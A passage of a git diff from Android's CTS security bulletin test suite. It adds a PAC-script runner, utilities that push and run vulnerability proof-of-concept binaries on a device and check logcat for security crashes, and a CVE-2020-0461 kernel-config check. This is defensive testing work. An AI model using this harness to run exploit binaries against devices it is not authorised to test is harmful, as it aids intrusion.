+#define DEFAULT_TIMEOUT   5000000
+#define OMX_UTILS_IP_PORT 0
+#define OMX_UTILS_OP_PORT 1
+
+using namespace android;
+typedef hidl::allocator::V1_0::IAllocator IAllocator;
+
+template<class T>
+static void InitOMXParams(T *params) {
+    params->nSize = sizeof(T);
+    params->nVersion.s.nVersionMajor = 1;
+    params->nVersion.s.nVersionMinor = 0;
+    params->nVersion.s.nRevision = 0;
+    params->nVersion.s.nStep = 0;
+}
+struct Buffer {
+    IOMX::buffer_id mID;
+    sp<IMemory> mMemory;
+    hidl_memory mHidlMemory;
+    uint32_t mFlags;
+};
+
+status_t omxUtilsInit(char *codecName);
+status_t omxUtilsGetParameter(int portIndex,
+                              OMX_PARAM_PORTDEFINITIONTYPE *params);
+status_t omxUtilsSetParameter(int portIndex,
+                              OMX_PARAM_PORTDEFINITIONTYPE *params);
+status_t omxUtilsSetPortMode(OMX_U32 port_index, IOMX::PortMode mode);
+status_t omxUtilsUseBuffer(OMX_U32 portIndex, const OMXBuffer &omxBuf,
+                           android::BnOMX::buffer_id *buffer);
+status_t omxUtilsSendCommand(OMX_COMMANDTYPE cmd, OMX_S32 param);
+status_t omxUtilsEmptyBuffer(android::BnOMX::buffer_id buffer,
+                             const OMXBuffer &omxBuf, OMX_U32 flags,
+                             OMX_TICKS timestamp, int fenceFd);
+status_t omxUtilsFillBuffer(android::BnOMX::buffer_id buffer,
+                            const OMXBuffer &omxBuf, int fenceFd);
+status_t omxUtilsFreeBuffer(OMX_U32 portIndex,
+                            android::BnOMX::buffer_id buffer);
+status_t omxUtilsFreeNode();
+status_t dequeueMessageForNode(omx_message *msg, int64_t timeoutUs);
+void omxExitOnError(status_t ret);
diff --git a/hostsidetests/securitybulletin/securityPatch/pac/Android.mk b/hostsidetests/securitybulletin/securityPatch/pac/Android.mk
new file mode 100644
index 0000000..d5571be
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/pac/Android.mk
@@ -0,0 +1,37 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := pacrunner
+LOCAL_SRC_FILES := pac.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_C_INCLUDES:= \
+        $(TOP)/external/chromium-libpac/src \
+
+LOCAL_SHARED_LIBRARIES := \
+        libpac \
+        libutils \
+
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
+
diff --git a/hostsidetests/securitybulletin/securityPatch/pac/pac.cpp b/hostsidetests/securitybulletin/securityPatch/pac/pac.cpp
new file mode 100644
index 0000000..85aaaf1
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/pac/pac.cpp
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <proxy_resolver_js_bindings.h>
+#include <proxy_resolver_v8.h>
+#include <sys/types.h>
+#include <utils/String16.h>
+#include <utils/String8.h>
+
+#include <fstream>
+#include <iostream>
+
+android::String16 url("");
+android::String16 host("");
+
+class MyErrorListener : public net::ProxyErrorListener {
+ public:
+  virtual void AlertMessage(android::String16 alert) {
+    std::cout << "alert: " << android::String8(alert).string() << std::endl;
+  }
+
+  virtual void ErrorMessage(android::String16 error) {
+    std::cout << "error: " << android::String8(error).string() << std::endl;
+  }
+};
+
+int main(int argc, char *argv[]) {
+  if (argc != 2) {
+    std::cout << "incorrect number of arguments" << std::endl;
+    std::cout << "usage: ./pacrunner mypac.pac" << std::endl;
+    return EXIT_FAILURE;
+  }
+  net::ProxyResolverJSBindings *bindings =
+      net::ProxyResolverJSBindings::CreateDefault();
+  MyErrorListener errorListener;
+  net::ProxyResolverV8 resolver(bindings, &errorListener);
+  android::String16 results;
+
+  std::ifstream t;
+  t.open(argv[1]);
+  if (t.rdstate() != std::ifstream::goodbit) {
+    std::cout << "error opening file" << std::endl;
+    return EXIT_FAILURE;
+  }
+
+  t.seekg(0, std::ios::end);
+  size_t size = t.tellg();
+  // allocate an extra byte for the null terminator
+  char* raw = (char*)calloc(size + 1, sizeof(char));
+  t.seekg(0);
+  t.read(raw, size);
+  android::String16 script(raw);
+
+  resolver.SetPacScript(script);
+  resolver.GetProxyForURL(url, host, &results);
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
index 5ac0f87..4afc4c7 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
@@ -16,26 +16,62 @@
 
 package android.security.cts;
 
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.MetricsReportLog;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+import com.android.ddmlib.IShellOutputReceiver;
 import com.android.ddmlib.NullOutputReceiver;
-import com.android.tradefed.device.CollectingOutputReceiver;
+import com.android.ddmlib.CollectingOutputReceiver;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.device.NativeDevice;
 import com.android.tradefed.log.LogUtil.CLog;
 
-import android.platform.test.annotations.RootPermissionTest;
-
 import java.io.BufferedOutputStream;
 import java.io.File;
 import java.io.FileOutputStream;
-import java.io.IOException;
 import java.io.InputStream;
 import java.io.OutputStream;
-import java.util.Scanner;
+import java.util.concurrent.TimeoutException;
+import java.util.List;
+import java.util.regex.Pattern;
 import java.util.concurrent.TimeUnit;
+import java.util.Scanner;
+import java.util.Arrays;
+import java.util.ArrayList;
+import java.util.concurrent.Callable;
+import java.util.Collections;
+
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+
+import java.util.regex.Pattern;
+import java.lang.Thread;
+import static org.junit.Assert.*;
+import junit.framework.Assert;
 
 public class AdbUtils {
 
+    final static String TMP_PATH = "/data/local/tmp/";
+    final static int TIMEOUT_SEC = 9 * 60;
+    final static String RESOURCE_ROOT = "/";
+
+    public static class pocConfig {
+        String binaryName;
+        String arguments;
+        String inputFilesDestination;
+        ITestDevice device;
+        CrashUtils.Config config;
+        List<String> inputFiles = Collections.emptyList();
+
+        pocConfig(String binaryName, ITestDevice device) {
+            this.binaryName = binaryName;
+            this.device = device;
+        }
+    }
+
     /** Runs a commandline on the specified device
      *
      * @param command the command to be ran
@@ -49,44 +85,132 @@
     /**
      * Pushes and runs a binary to the selected device
      *
-     * @param pathToPoc a string path to poc from the /res folder
+     * @param pocName name of the poc binary
      * @param device device to be ran on
      * @return the console output from the binary
      */
     public static String runPoc(String pocName, ITestDevice device) throws Exception {
-        device.executeShellCommand("chmod +x /data/local/tmp/" + pocName);
-        return device.executeShellCommand("/data/local/tmp/" + pocName);
+        return runPoc(pocName, device, SecurityTestCase.TIMEOUT_NONDETERMINISTIC);
     }
 
     /**
      * Pushes and runs a binary to the selected device
      *
-     * @param pocName a string path to poc from the /res folder
+     * @param pocName name of the poc binary
      * @param device device to be ran on
      * @param timeout time to wait for output in seconds
      * @return the console output from the binary
      */
     public static String runPoc(String pocName, ITestDevice device, int timeout) throws Exception {
-        device.executeShellCommand("chmod +x /data/local/tmp/" + pocName);
+        return runPoc(pocName, device, timeout, null);
+    }
+
+    /**
+     * Pushes and runs a binary to the selected device
+     *
+     * @param pocName name of the poc binary
+     * @param device device to be ran on
+     * @param timeout time to wait for output in seconds
+     * @param arguments the input arguments for the poc
+     * @return the console output from the binary
+     */
+    public static String runPoc(String pocName, ITestDevice device, int timeout, String arguments)
+            throws Exception {
         CollectingOutputReceiver receiver = new CollectingOutputReceiver();
-        device.executeShellCommand("/data/local/tmp/" + pocName, receiver, timeout, TimeUnit.SECONDS, 0);
-        String output = receiver.getOutput();
-        return output;
+        runPoc(pocName, device, timeout, arguments, receiver);
+        return receiver.getOutput();
     }
 
     /**
      * Pushes and runs a binary to the selected device and ignores any of its output.
      *
-     * @param pocName a string path to poc from the /res folder
+     * @param pocName name of the poc binary
      * @param device device to be ran on
      * @param timeout time to wait for output in seconds
      */
     public static void runPocNoOutput(String pocName, ITestDevice device, int timeout)
             throws Exception {
-        device.executeShellCommand("chmod +x /data/local/tmp/" + pocName);
-        NullOutputReceiver receiver = new NullOutputReceiver();
-        device.executeShellCommand("/data/local/tmp/" + pocName, receiver, timeout,
-                TimeUnit.SECONDS, 0);
+        runPocNoOutput(pocName, device, timeout, null);
+    }
+
+    /**
+     * Pushes and runs a binary with arguments to the selected device and
+     * ignores any of its output.
+     *
+     * @param pocName name of the poc binary
+     * @param device device to be ran on
+     * @param timeout time to wait for output in seconds
+     * @param arguments input arguments for the poc
+     */
+    public static void runPocNoOutput(String pocName, ITestDevice device, int timeout,
+            String arguments) throws Exception {
+        runPoc(pocName, device, timeout, arguments, null);
+    }
+
+    /**
+     * Pushes and runs a binary with arguments to the selected device and
+     * ignores any of its output.
+     *
+     * @param pocName name of the poc binary
+     * @param device device to be ran on
+     * @param timeout time to wait for output in seconds
+     * @param arguments input arguments for the poc
+     * @param receiver the type of receiver to run against
+     */
+    public static int runPoc(String pocName, ITestDevice device, int timeout,
+            String arguments, IShellOutputReceiver receiver) throws Exception {
+        String remoteFile = String.format("%s%s", TMP_PATH, pocName);
+        SecurityTestCase.getPocPusher(device).pushFile(pocName, remoteFile);
+
+        assertPocExecutable(pocName, device);
+        if (receiver == null) {
+            receiver = new NullOutputReceiver();
+        }
+        if (arguments == null) {
+            arguments = "";
+        }
+
+        // since we have to return the exit status AND the poc stdout+stderr we redirect the exit
+        // status to a file temporarily
+        String exitStatusFilepath = TMP_PATH + "exit_status";
+        runCommandLine("rm " + exitStatusFilepath, device); // remove any old exit status
+        device.executeShellCommand(TMP_PATH + pocName + " " + arguments +
+                "; echo $? > " + exitStatusFilepath, // echo exit status to file
+                receiver, timeout, TimeUnit.SECONDS, 0);
+
+        // cat the exit status
+        String exitStatusString = runCommandLine("cat " + exitStatusFilepath, device).trim();
+
+        MetricsReportLog reportLog = SecurityTestCase.buildMetricsReportLog(device);
+        reportLog.addValue("poc_name", pocName, ResultType.NEUTRAL, ResultUnit.NONE);
+        int exitStatus = -1;
+        try {
+            exitStatus = Integer.parseInt(exitStatusString);
+            reportLog.addValue("exit_status", exitStatus, ResultType.NEUTRAL, ResultUnit.NONE);
+        } catch (NumberFormatException e) {
+            // Getting the exit status is a bonus. We can continue without it.
+            CLog.w("Could not parse exit status to int: %s", exitStatusString);
+        }
+        reportLog.submit();
+
+        runCommandLine("rm " + exitStatusFilepath, device);
+        return exitStatus;
+    }
+
+    /**
+     * Assert the poc is executable
+     * @param pocName name of the poc binary
+     * @param device device to be ran on
+     */
+    private static void assertPocExecutable(String pocName, ITestDevice device) throws Exception {
+        String fullPocPath = TMP_PATH + pocName;
+        device.executeShellCommand("chmod 777 " + fullPocPath);
+        assertEquals("'" + pocName + "' must exist and be readable.", 0,
+                runCommandGetExitCode("test -r " + fullPocPath, device));
+        assertEquals("'" + pocName + "'poc must exist and be writable.", 0,
+                runCommandGetExitCode("test -w " + fullPocPath, device));
+        assertEquals("'" + pocName + "'poc must exist and be executable.", 0,
+                runCommandGetExitCode("test -x " + fullPocPath, device));
     }
 
     /**
@@ -168,6 +292,44 @@
         }
     }
 
+    /**
+     * Pushes the specified files to the specified destination directory
+     *
+     * @param inputFiles files required as input
+     * @param inputFilesDestination destination directory to which input files are
+     *        pushed
+     * @param device device to be run on
+     */
+    public static void pushResources(String[] inputFiles, String inputFilesDestination,
+            ITestDevice device) throws Exception {
+        if (inputFiles == null || inputFilesDestination == null) {
+            throw new IllegalArgumentException(
+                    "Can't push resources: input files or destination is null");
+        }
+        for (String tempFile : inputFiles) {
+            pushResource(RESOURCE_ROOT + tempFile, inputFilesDestination + tempFile, device);
+        }
+    }
+
+    /**
+     * Removes the specified files from the specified destination directory
+     *
+     * @param inputFiles files required as input
+     * @param inputFilesDestination destination directory where input files are
+     *        present
+     * @param device device to be run on
+     */
+    public static void removeResources(String[] inputFiles, String inputFilesDestination,
+            ITestDevice device) throws Exception {
+        if (inputFiles == null || inputFilesDestination == null) {
+            throw new IllegalArgumentException(
+                    "Can't remove resources: input files or destination is null");
+        }
+        for (String tempFile : inputFiles) {
+            runCommandLine("rm " + inputFilesDestination + tempFile, device);
+        }
+    }
+
    /**
      * Extracts the binary data from a resource and writes it to a temp file
      */
@@ -190,9 +352,23 @@
      * Utility function to help check the exit code of a shell command
      */
     public static int runCommandGetExitCode(String cmd, ITestDevice device) throws Exception {
-      return Integer.parseInt(
-          AdbUtils.runCommandLine( "(" + cmd + ") > /dev/null 2>&1; echo $?",
-            device).replaceAll("[^0-9]", ""));
+        long time = System.currentTimeMillis();
+        String exitStatusString = runCommandLine(
+                "(" + cmd + ") > /dev/null 2>&1; echo $?", device).trim();
+        time = System.currentTimeMillis() - time;
+
+        try {
+            int exitStatus = Integer.parseInt(exitStatusString);
+            MetricsReportLog reportLog = SecurityTestCase.buildMetricsReportLog(device);
+            reportLog.addValue("command", cmd, ResultType.NEUTRAL, ResultUnit.NONE);
+            reportLog.addValue("exit_status", exitStatus, ResultType.NEUTRAL, ResultUnit.NONE);
+            reportLog.submit();
+            return exitStatus;
+        } catch (NumberFormatException e) {
+            throw new IllegalArgumentException(String.format(
+                    "Could not get the exit status (%s) for '%s' (%d ms).",
+                    exitStatusString, cmd, time));
+        }
     }
 
     /**
@@ -203,28 +379,294 @@
      * @param device device to be ran on
      * @param timeout time to wait for output in seconds
      */
+    @Deprecated
     public static boolean runPocCheckExitCode(String pocName, ITestDevice device,
                                               int timeout) throws Exception {
-      device.executeShellCommand("chmod +x /data/local/tmp/" + pocName);
-      CollectingOutputReceiver receiver = new CollectingOutputReceiver();
-      device.executeShellCommand("/data/local/tmp/" + pocName + " > /dev/null 2>&1; echo $?",
-                                 receiver, timeout, TimeUnit.SECONDS, 0);
-
-      String returnStr = null;
-      int returnNum = 0;
-
-      try{
-           returnStr = receiver.getOutput().replaceAll("[^0-9]", "");
-       }catch(NullPointerException e){
-          return false;
-       }
-       try{
-         returnNum = Integer.parseInt(returnStr);
-       }catch(NumberFormatException e){
-          return false;
-       }
 
        //Refer to go/asdl-sts-guide Test section for knowing the significance of 113 code
-       return returnNum == 113;
+       return runPocGetExitStatus(pocName, device, timeout) == 113;
     }
+
+    /**
+     * Pushes and runs a binary to the device and returns the exit status.
+     * @param pocName a string path to poc from the /res folder
+     * @param device device to be ran on
+     * @param timeout time to wait for output in seconds
+
+     */
+    public static int runPocGetExitStatus(String pocName, ITestDevice device, int timeout)
+            throws Exception {
+       return runPocGetExitStatus(pocName, null, device, timeout);
+    }
+
+    /**
+     * Pushes and runs a binary to the device and returns the exit status.
+     * @param pocName a string path to poc from the /res folder
+     * @param arguments input arguments for the poc
+     * @param device device to be ran on
+     * @param timeout time to wait for output in seconds
+     */
+    public static int runPocGetExitStatus(String pocName, String arguments, ITestDevice device,
+            int timeout) throws Exception {
+        return runPoc(pocName, device, timeout, arguments, null);
+    }
+
+    /**
+     * Pushes and runs a binary and asserts that the exit status isn't 113: vulnerable.
+     * @param pocName a string path to poc from the /res folder
+     * @param device device to be ran on
+     * @param timeout time to wait for output in seconds
+     */
+    public static void runPocAssertExitStatusNotVulnerable(
+            String pocName, ITestDevice device, int timeout) throws Exception {
+        runPocAssertExitStatusNotVulnerable(pocName, null, device, timeout);
+    }
+
+    /**
+     * Pushes and runs a binary and asserts that the exit status isn't 113: vulnerable.
+     * @param pocName a string path to poc from the /res folder
+     * @param arguments input arguments for the poc
+     * @param device device to be ran on
+     * @param timeout time to wait for output in seconds
+     */
+    public static void runPocAssertExitStatusNotVulnerable(String pocName, String arguments,
+            ITestDevice device, int timeout) throws Exception {
+        assertTrue("PoC returned exit status 113: vulnerable",
+                runPocGetExitStatus(pocName, arguments, device, timeout) != 113);
+    }
+
+    /**
+     * Runs the pacrunner utility against a given proxyautoconfig file, asserting that it doesn't
+     * crash
+     * @param pacName the name of the proxy autoconfig script from the /res folder
+     * @param device device to be ran on
+     */
+    public static int runProxyAutoConfig(String pacName, ITestDevice device) throws Exception {
+        pacName += ".pac";
+        String targetPath = TMP_PATH + pacName;
+        AdbUtils.pushResource("/" + pacName, targetPath, device);
+        runPocAssertNoCrashes(
+                "pacrunner", device, targetPath,
+                new CrashUtils.Config().setProcessPatterns("pacrunner"));
+        runCommandLine("rm " + targetPath, device);
+        return 0; // b/157172329 fix tests that manually check the result; remove return statement
+    }
+
+    /**
+     * Runs the poc binary and asserts that there are no security crashes that match the expected
+     * process pattern.
+     * @param pocName a string path to poc from the /res folder
+     * @param device device to be ran on
+     * @param processPatternStrings a Pattern string to match the crash tombstone process
+     */
+    public static void runPocAssertNoCrashes(String pocName, ITestDevice device,
+            String... processPatternStrings) throws Exception {
+        runPocAssertNoCrashes(pocName, device,
+                new CrashUtils.Config().setProcessPatterns(processPatternStrings));
+    }
+
+    /**
+     * Runs the poc binary and asserts that there are no security crashes that match the expected
+     * process pattern.
+     * @param pocName a string path to poc from the /res folder
+     * @param device device to be ran on
+     * @param config a crash parser configuration
+     */
+    public static void runPocAssertNoCrashes(String pocName, ITestDevice device,
+            CrashUtils.Config config) throws Exception {
+        runPocAssertNoCrashes(pocName, device, null, config);
+    }
+
+    /**
+     * Runs the poc binary and asserts that there are no security crashes that match the expected
+     * process pattern, including arguments when running.
+     * @param pocName a string path to poc from the /res folder
+     * @param device device to be ran on
+     * @param arguments input arguments for the poc
+     * @param config a crash parser configuration
+     */
+    public static void runPocAssertNoCrashes(String pocName, ITestDevice device, String arguments,
+            CrashUtils.Config config) throws Exception {
+        AdbUtils.runCommandLine("logcat -c", device);
+        AdbUtils.runPocNoOutput(pocName, device,
+                SecurityTestCase.TIMEOUT_NONDETERMINISTIC, arguments);
+        assertNoCrashes(device, config);
+    }
+
+    /**
+     * Runs the poc binary and asserts following 2 conditions.
+     *  1. There are no security crashes in the binary.
+     *  2. The exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
+     *
+     * @param binaryName name of the binary
+     * @param arguments arguments for running the binary
+     * @param device device to be run on
+     */
+    public static void runPocAssertNoCrashesNotVulnerable(String binaryName, String arguments,
+            ITestDevice device) throws Exception {
+        runPocAssertNoCrashesNotVulnerable(binaryName, arguments, null, null, device, null);
+    }
+
+    /**
+     * Runs the poc binary and asserts following 2 conditions.
+     *  1. There are no security crashes in the binary.
+     *  2. The exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
+     *
+     * @param binaryName name of the binary
+     * @param arguments arguments for running the binary
+     * @param device device to be run on
+     * @param processPatternStrings a Pattern string to match the crash tombstone
+     *        process
+     */
+    public static void runPocAssertNoCrashesNotVulnerable(String binaryName, String arguments,
+            ITestDevice device, String processPatternStrings[]) throws Exception {
+        runPocAssertNoCrashesNotVulnerable(binaryName, arguments, null, null, device,
+                processPatternStrings);
+    }
+
+    /**
+     * Runs the poc binary and asserts following 2 conditions.
+     *  1. There are no security crashes in the binary.
+     *  2. The exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
+     *
+     * @param binaryName name of the binary
+     * @param arguments arguments for running the binary
+     * @param inputFiles files required as input
+     * @param inputFilesDestination destination directory to which input files are
+     *        pushed
+     * @param device device to be run on
+     */
+    public static void runPocAssertNoCrashesNotVulnerable(String binaryName, String arguments,
+            String inputFiles[], String inputFilesDestination, ITestDevice device)
+            throws Exception {
+        runPocAssertNoCrashesNotVulnerable(binaryName, arguments, inputFiles, inputFilesDestination,
+                device, null);
+    }
+
+    /**
+     * Runs the poc binary and asserts following 3 conditions.
+     *  1. There are no security crashes in the binary.
+     *  2. There are no security crashes that match the expected process pattern.
+     *  3. The exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
+     *
+     * @param binaryName name of the binary
+     * @param arguments arguments for running the binary
+     * @param inputFiles files required as input
+     * @param inputFilesDestination destination directory to which input files are
+     *        pushed
+     * @param device device to be run on
+     * @param processPatternStrings a Pattern string to match the crash tombstone
+     *        process
+     */
+    public static void runPocAssertNoCrashesNotVulnerable(String binaryName, String arguments,
+            String inputFiles[], String inputFilesDestination, ITestDevice device,
+            String processPatternStrings[]) throws Exception {
+        pocConfig testConfig = new pocConfig(binaryName, device);
+        testConfig.arguments = arguments;
+
+        if (inputFiles != null) {
+            testConfig.inputFiles = Arrays.asList(inputFiles);
+            testConfig.inputFilesDestination = inputFilesDestination;
+        }
+
+        List<String> processPatternList = new ArrayList<>();
+        if (processPatternStrings != null) {
+            processPatternList.addAll(Arrays.asList(processPatternStrings));
+        }
+        processPatternList.add(binaryName);
+        String[] processPatternStringsWithSelf = new String[processPatternList.size()];
+        processPatternList.toArray(processPatternStringsWithSelf);
+        testConfig.config =
+                new CrashUtils.Config().setProcessPatterns(processPatternStringsWithSelf);
+
+        runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+
+    /**
+     * Runs the poc binary and asserts following 3 conditions.
+     *  1. There are no security crashes in the binary.
+     *  2. There are no security crashes that match the expected process pattern.
+     *  3. The exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
+     *
+     * @param testConfig test configuration
+     */
+    public static void runPocAssertNoCrashesNotVulnerable(pocConfig testConfig) throws Exception {
+        String[] inputFiles = null;
+        if(!testConfig.inputFiles.isEmpty()) {
+            inputFiles = testConfig.inputFiles.toArray(new String[testConfig.inputFiles.size()]);
+            pushResources(inputFiles, testConfig.inputFilesDestination, testConfig.device);
+        }
+        runCommandLine("logcat -c", testConfig.device);
+        try {
+            runPocAssertExitStatusNotVulnerable(testConfig.binaryName, testConfig.arguments,
+                    testConfig.device, TIMEOUT_SEC);
+        } catch (IllegalArgumentException e) {
+            /*
+             * Since 'runPocGetExitStatus' method raises IllegalArgumentException upon
+             * hang/timeout, catching the exception here and ignoring it. Hangs are of
+             * Moderate severity and hence patches may not be ported. This piece of code can
+             * be removed once 'runPocGetExitStatus' is updated to handle hangs.
+             */
+            CLog.w("Ignoring IllegalArgumentException: " + e);
+        } finally {
+            if (!testConfig.inputFiles.isEmpty()) {
+                removeResources(inputFiles, testConfig.inputFilesDestination, testConfig.device);
+            }
+        }
+        if (testConfig.config == null) {
+            testConfig.config = new CrashUtils.Config();
+        }
+        assertNoCrashes(testConfig.device, testConfig.config);
+    }
+
+    /**
+     * Dumps logcat and asserts that there are no security crashes that match the expected process.
+     * By default, checks min crash addresses
+     * pattern. Ensure that adb logcat -c is called beforehand.
+     * @param device device to be ran on
+     * @param processPatternStrings a Pattern string to match the crash tombstone process
+     */
+    public static void assertNoCrashes(ITestDevice device, String... processPatternStrings)
+            throws Exception {
+        assertNoCrashes(device, new CrashUtils.Config().setProcessPatterns(processPatternStrings));
+    }
+
+    /**
+     * Dumps logcat and asserts that there are no security crashes that match the expected process
+     * pattern. Ensure that adb logcat -c is called beforehand.
+     * @param device device to be ran on
+     * @param config a crash parser configuration
+     */
+    public static void assertNoCrashes(ITestDevice device,
+            CrashUtils.Config config) throws Exception {
+        String logcat = AdbUtils.runCommandLine("logcat -d *:S DEBUG:V", device);
+
+        JSONArray crashes = CrashUtils.addAllCrashes(logcat, new JSONArray());
+        JSONArray securityCrashes = CrashUtils.matchSecurityCrashes(crashes, config);
+
+        MetricsReportLog reportLog = SecurityTestCase.buildMetricsReportLog(device);
+        reportLog.addValue("all_crashes", crashes.toString(), ResultType.NEUTRAL, ResultUnit.NONE);
+        reportLog.addValue("security_crashes", securityCrashes.toString(),
+                ResultType.NEUTRAL, ResultUnit.NONE);
+        reportLog.submit();
+
+        if (securityCrashes.length() == 0) {
+            return; // no security crashes detected
+        }
+
+        StringBuilder error = new StringBuilder();
+        error.append("Security crash detected:\n");
+        error.append("Process patterns:");
+        for (Pattern pattern : config.getProcessPatterns()) {
+            error.append(String.format(" '%s'", pattern.toString()));
+        }
+        error.append("\nCrashes:\n");
+        for (int i = 0; i < crashes.length(); i++) {
+            try {
+                JSONObject crash = crashes.getJSONObject(i);
+                error.append(String.format("%s\n", crash));
+            } catch (JSONException e) {}
+        }
+        fail(error.toString());
+     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0461.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0461.java
new file mode 100644
index 0000000..92aa626
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0461.java
@@ -0,0 +1,61 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assume.assumeTrue;
+import static org.junit.Assume.assumeThat;
+import static org.hamcrest.CoreMatchers.equalTo;
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0461 extends SecurityTestCase {
+
+    /**
+     * b/162741784
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2020-11")
+    public void testPocCVE_2020_0461() throws Exception {
+        //conditions
+        String cpu = AdbUtils.runCommandLine("getprop ro.product.cpu.abi", getDevice());
+        assumeThat(cpu, equalTo("arm64-v8a"));
+        assumeTrue(containsDriver(getDevice(), "/proc/config.gz"));
+        assumeTrue(containsDriver(getDevice(),
+            "/sys/devices/system/cpu/vulnerabilities/meltdown"));
+        String meltdown = AdbUtils.runCommandLine(
+            "cat /sys/devices/system/cpu/vulnerabilities/meltdown", getDevice());
+        assumeThat(meltdown, equalTo("Vulnerable"));
+
+        //test
+        AdbUtils.runCommandLine("cp /proc/config.gz /data/local/tmp", getDevice());
+        AdbUtils.runCommandLine("gunzip /data/local/tmp/config.gz", getDevice());
+        String output = AdbUtils.runCommandLine(
+            "grep CONFIG_UNMAP_KERNEL_AT_EL0 /data/local/tmp/config", getDevice());
+        AdbUtils.runCommandLine("rm /data/local/tmp/config", getDevice());
+
+        // This is a bad output
+        // "" - empty output
+        // "CONFIG_UNMAP_KERNEL_AT_EL0 is not set"
+        assertFalse(output.isEmpty());
+        assertNotMatches("is not set", output);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/HostsideOomCatcher.java b/hostsidetests/securitybulletin/src/android/security/cts/HostsideOomCatcher.java
new file mode 100644
index 0000000..d97c4db
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/HostsideOomCatcher.java
@@ -0,0 +1,228 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import com.android.tradefed.device.CollectingOutputReceiver;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.device.BackgroundDeviceAction;
+
+import android.platform.test.annotations.RootPermissionTest;
+
+import java.io.BufferedOutputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.Scanner;
+import java.util.regex.Pattern;
+import java.util.regex.Matcher;
+import java.util.Map;
+import java.util.HashMap;
+import java.util.concurrent.ConcurrentHashMap;
+import com.android.ddmlib.MultiLineReceiver;
+import com.android.ddmlib.Log;
+import com.android.ddmlib.TimeoutException;
+import java.lang.ref.WeakReference;
+
+/**
+ * A utility to monitor the device lowmemory state and reboot when low. Without this, tests that
+ * cause an OOM can sometimes cause ADB to become unresponsive indefinitely. Usage is to create an
+ * instance per instance of SecurityTestCase and call start() and stop() matching to
+ * SecurityTestCase setup() and teardown().
+ */
+public class HostsideOomCatcher {
+
